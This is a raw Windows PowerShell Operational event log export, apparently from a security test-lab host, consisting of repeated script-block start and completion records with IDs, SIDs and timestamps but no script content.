OpCode=On create calls
RecordNumber=2027560
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027559
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027558
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027557
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027556
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027555
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027554
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027553
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027552
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027551
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027550
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027549
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027548
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027547
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027546
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027545
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027544
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027543
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027542
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027541
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027540
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027539
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027538
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027537
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027536
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027535
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027534
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027533
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027532
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027531
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027530
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027529
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027528
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027527
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027526
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027525
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027524
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027523
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027522
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027521
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027520
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027519
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027518
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027517
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027516
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027515
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027514
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027513
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027512
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027511
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027510
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027509
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2027508
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:50 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2027507
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
